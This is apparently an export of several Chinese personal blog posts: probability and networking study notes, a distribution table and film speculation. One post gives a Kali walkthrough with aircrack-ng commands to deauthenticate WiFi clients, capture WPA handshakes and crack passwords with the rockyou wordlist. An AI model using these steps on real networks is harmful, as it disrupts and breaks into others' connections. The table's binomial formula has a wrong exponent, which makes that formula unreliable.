href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%B3%8A%E6%9D%BE%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"泊松分布\"\u003e\u003c/a\u003e泊松分布\u003c/h4\u003e\u003cp\u003e表示某种小概率事件发生的可能性。\u003c/p\u003e\u003ch4 id=\"超几何分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B6%85%E5%87%A0%E4%BD%95%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"超几何分布\"\u003e\u003c/a\u003e超几何分布\u003c/h4\u003e\u003cp\u003e这用于处理抽样中的无放回情况概率。\u003c/p\u003e\u003ch4 id=\"负二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%B4%9F%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"负二项分布\"\u003e\u003c/a\u003e负二项分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch3 id=\"连续型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E8%BF%9E%E7%BB%AD%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"连续型随机变量分布\"\u003e\u003c/a\u003e连续型随机变量分布\u003c/h3\u003e\u003cp\u003e连续型随机变量激就是之前说过的那种,事件结果是不可数正无穷的(比如在坐标系里随机丢一个钉子,其位置到原点的距离)。\u003c/p\u003e\u003ch4 id=\"正态分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"正态分布\"\u003e\u003c/a\u003e正态分布\u003c/h4\u003e\u003cp\u003e也叫高斯分布。\u003c/p\u003e\u003ch4 id=\"指数分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E6%8C%87%E6%95%B0%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"指数分布\"\u003e\u003c/a\u003e指数分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch4 id=\"威布尔分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A8%81%E5%B8%83%E5%B0%94%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"威布尔分布\"\u003e\u003c/a\u003e威布尔分布\u003c/h4\u003e\u003cp\u003e?\u003c/p\u003e\u003ch2 id=\"多维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E5%A4%9A%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"多维随机变量\"\u003e\u003c/a\u003e多维随机变量\u003c/h2\u003e\u003cp\u003e也称为随机向量,是由多个随机变量构成的向量。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e后面再写\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/"},{"title":"流浪地球2观影小记","time":"2023-02-02T09:12:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e刚才回想的时候,对2的几个细节有一些猜测。稍微整理一下思路吧。我尽量猜的贴近电影原剧情一点(\u003c/p\u003e\u003cp\u003e1.2075木星危机后,moss或许已经寄了?\u003c/p\u003e\u003cp\u003e首先是隔离计划:出现在片尾ed前,内容是把AI全部转移到领航者号国际空间站上,同时AI决策都要经过联合国审核。名义上是转移AI帮助建设,实际感觉有和重要系统(地球发动机控制中心)切割的意图。\u003c/p\u003e\u003cp\u003e因为球2里边,控制中心应该是在建的状态,因为那时(2058)发动机专用网络尚未完成,得依赖互联网根服务器才能并网点火。而且字母也写的很清楚,那个控制中心是临时的。所以这“切割”确实有道理:网络尚未完成,先把moss丢远点防着它再搞事(×)。毕竟周复盘2058一定会疑惑:月1发动机咋炸的。根据周掌握的信息,他可能是有意识切割AI到空间站的。\u003c/p\u003e\u003cp\u003e其次:1的最后领航者号炸的只剩下个休眠仓了\u003c/p\u003e\u003cp\u003e不过有一个问题我想不通,就是2的ed后彩蛋:moss提到了2078氦闪危机,这和我的猜测矛盾。我本身不太能认可时间可逆转的设定\u003c/p\u003e\u003cp\u003e不过向过去用中微子发信我不知道有没有可能,因为在片尾,DUDE中微子实验室于2065年收到了2075木星危机的告警。但是我还是倾向于都是它干的,只不过它提前10年通知了\u003c/p\u003e\u003cp\u003e2.彩蛋情节发生在何时?\u003c/p\u003e\u003cp\u003e片尾ed一转拆红包(是新年元素(确信))出来2075预告。看背景也有点像空间站。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/02/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%832%E8%A7%82%E5%BD%B1%E5%B0%8F%E8%AE%B0/"},{"title":"常用分布的期望和方差","time":"2023-01-30T19:24:43Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e分布\u003c/th\u003e\u003cth\u003e分布律/概率密度\u003c/th\u003e\u003cth align=\"center\"\u003e数学期望\u003c/th\u003e\u003cth align=\"center\"\u003e方差\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0-1分布\u003c/td\u003e\u003ctd\u003e$p(x=k)=p^k(1-p)^{1-k},k=0,1$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p$\u003c/td\u003e\u003ctd align=\"center\"\u003e$p(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e二项分布$B(n,p)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=C_n^kp^k(1-p)^{1-k}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np$\u003c/td\u003e\u003ctd align=\"center\"\u003e$np(1-p)$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e泊松分布$P(\\lambda)$\u003c/td\u003e\u003ctd\u003e$P(x=k)=\\frac{\\lambda^ke^{-\\lambda}}{k!}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\lambda$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e均匀分布$U(a,b)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{b-a},(a\\lt x\\lt b)$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{a+b}{2}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{(b-a)^2}{12}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e正态分布$N(\\mu,\\sigma^2)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\sigma^2$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e指数分布$E(\\theta)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\theta e^{-\\theta x},x\\gt 0; 0, other$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta^2}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/30/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E5%B8%B8%E7%94%A8%E5%88%86%E5%B8%83%E7%9A%84%E6%9C%9F%E6%9C%9B%E5%92%8C%E6%96%B9%E5%B7%AE/"},{"title":"基于Kali的WiFi攻击","time":"2023-01-28T08:30:04Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e仅限于合法用途,责任自负\u003cbr/\u003eLegal purpose only, do it at your own risk.\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003col\u003e\u003cli\u003e检查网卡情况\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在终端输入 \u003ccode\u003eifconfig\u003c/code\u003e , 如果看到 \u003ccode\u003ewlan0\u003c/code\u003e , 就进行下一步。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e启动监控模式\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e用下面的命令启动设备:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earimon-ng start wlan0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在\u003ccode\u003eifconfig\u003c/code\u003e的输出中,你就能看到名叫\u003ccode\u003ewlan0mon\u003c/code\u003e的设备。然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来启动监听。用下面的指令停止监听:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairmon-ng stop wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"断网攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"断网攻击\"\u003e\u003c/a\u003e断网攻击\u003c/h2\u003e\u003cp\u003e扫出来目标设备之后,用\u003ccode\u003ectrl+c\u003c/code\u003e停止扫描,然后再开个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaireplay-ng -0 0 -a [BSSID] wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后回来这个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng -c [CH] --bssid [BSSID] -w ~/ wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后连接那个路由器WiFi的设备应该就会断联了。\u003c/p\u003e\u003ch2 id=\"破解密码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"破解密码\"\u003e\u003c/a\u003e破解密码\u003c/h2\u003e\u003cp\u003e当你捕捉到这样的握手包 \u003ccode\u003eWPA handshake: [PACKAGE]\u003c/code\u003e时, \u003ccode\u003eCtrl+c\u003c/code\u003e停止指令\u003c/p\u003e\u003cp\u003e然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaircrack-ng -a2 -b [PACKAGE] -w [PATH-TO-PASS-DICTIONARY] ~/*.\u003cspan class=\"built_in\"\u003ecap\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eKali的自带字典一般在这: \u003ccode\u003e/fs/usr/share/wordlists/rockyou.txt.gz\u003c/code\u003e. 解压,然后把\u003ccode\u003erockyou.txt\u003c/code\u003e的路径替换到上边,回车。然后应该就能获取到密码了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/"},{"title":"计算机网络笔记","time":"2023-01-27T15:07:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-3-数据和信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-3-%E6%95%B0%E6%8D%AE%E5%92%8C%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"Chap.3.数据和信号\"\u003e\u003c/a\u003eChap.3.数据和信号\u003c/h2\u003e\u003ch3 id=\"模拟和数字\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%92%8C%E6%95%B0%E5%AD%97\" class=\"headerlink\" title=\"模拟和数字\"\u003e\u003c/a\u003e模拟和数字\u003c/h3\u003e\u003cul\u003e\u003cli\u003e信息 要传输的,被人理解的内容\u003c/li\u003e\u003cli\u003e数据 对个人/程序有用,可以用信号表示\u003c/li\u003e\u003cli\u003e信号 物理层面的概念。可以用模拟和数字两种形式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号的描述方式我们已经很熟悉了,就是频率,周期,相位之类的指标,再加上频域特征的表示。\u003c/p\u003e\u003ch3 id=\"带宽\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%B8%A6%E5%AE%BD\" class=\"headerlink\" title=\"带宽\"\u003e\u003c/a\u003e带宽\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e带宽\u003c/strong\u003e:就是复合信号包含的频率范围\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e信噪比\u003c/strong\u003e:定义是$\\frac{\\text{信号能量}}{\\text{噪波能量}}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e比特率\u003c/strong\u003e:1秒发送的位数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通道有两种类型:\u003cstrong\u003e低通通道(频率下限从0开始)和带通通道(从非0频率开始)\u003c/strong\u003e。同时,数字信号传输方式有两种:\u003cstrong\u003e基带传输和宽带传输\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e基带传输:借助一个低通通道,将信号直接传输。但是数字信号是带宽无穷的复合模拟信号,因此这种方式在现实中总会存在失真。\u003cul\u003e\u003cli\u003e所需带宽和比特率成正比;想发送地更快,就需要更大的带宽\u003c/li\u003e\u003cli\u003e要以1Mbps速率发送数据,最小带宽是1/2=500KHz。如果用到N次谐波,则再乘以N得到所需带宽。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e宽带传输(使用调制):使用带通通道时,只能使用这种方法发送数字信号。它在发送前将数字信号转换成模拟信号。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"传输减损\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E5%87%8F%E6%8D%9F\" class=\"headerlink\" title=\"传输减损\"\u003e\u003c/a\u003e传输减损\u003c/h3\u003e\u003cp\u003e三种类型:\u003cstrong\u003e衰减、失真和噪声\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"数据速率限制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87%E9%99%90%E5%88%B6\" class=\"headerlink\" title=\"数据速率限制\"\u003e\u003c/a\u003e数据速率限制\u003c/h3\u003e\u003cp\u003e受制于\u003cstrong\u003e有效带宽、使用的信号电平数、通道的质量(噪声电平)\u003c/strong\u003e 这三个因素。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奈奎斯特定理:无噪通道时,理论最大比特率为$2\\times\\text{带宽}\\times log_2L$,其中$L$是电平数。\u003c/li\u003e\u003cli\u003e香农定理:有噪声通道的理论容量为$\\text{带宽}\\times log_2(1+SNR)$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e香农容量定理给出数据速率的上限,奈奎斯特公式给出所需的信号电平数。\u003c/p\u003e\u003ch3 id=\"性能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%80%A7%E8%83%BD\" class=\"headerlink\" title=\"性能\"\u003e\u003c/a\u003e性能\u003c/h3\u003e\u003cul\u003e\u003cli\u003e吞吐量=$frame*bits/time$,表示单位时间内成功传输的数据量\u003c/li\u003e\u003cli\u003e延迟:有四个组成要素:传播时间、传输时间、排队时间、处理延迟\u003cul\u003e\u003cli\u003e传播时间:传输一个bit从原到目标的时间,取决于物理速度\u003c/li\u003e\u003cli\u003e延迟:传播延迟+传输时间+排队时间+处理延迟\u003c/li\u003e\u003cli\u003e传播延迟:距离/传播速度\u003c/li\u003e\u003cli\u003e传输时间:报文长度/传输速度\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e带宽延迟积:$\\text{带宽}\\times\\text{延迟}$,定义了能充满链路的位数\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003ch3 id=\"数字到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E5%AD%97%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"数字到数字转换\"\u003e\u003c/a\u003e数字到数字转换\u003c/h3\u003e\u003ch4 id=\"线路编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线路编码\"\u003e\u003c/a\u003e线路编码\u003c/h4\u003e\u003cp\u003e这是将数据转数字信号的技术。它将数字元素编码为信号元素,根据\u003cstrong\u003e每个信号元素承载的数字元素数量,我们定义比率r\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e数据速率和信号速率的关系如下:$S=c\\frac{N}{r} (baud)$。其中N是数据速率,S是信号元素数量,r是信号元素的数据元素承载量。\u003c/p\u003e\u003cp\u003e线路编码会遇到几个问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基线偏移:接收到信号的平均功率(基线)在接收一长串0/1时,会产生偏移,不利于解码。\u003c/li\u003e\u003cli\u003e直流成分:长时间0/1时,会产生很低的频率成分,会给不允许低频/使用电耦合的系统带来问题。\u003c/li\u003e\u003cli\u003e自同步:接收/发送的间隔必须严格对应。长1/0可能会引起失去同步(不知道到底连续发送了几个连续的0/1)。\u003c/li\u003e\u003cli\u003e内置差错检测\u003c/li\u003e\u003cli\u003e抗干扰抗噪声能力\u003c/li\u003e\u003cli\u003e复杂性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线路编码方案\"\u003e\u003ca 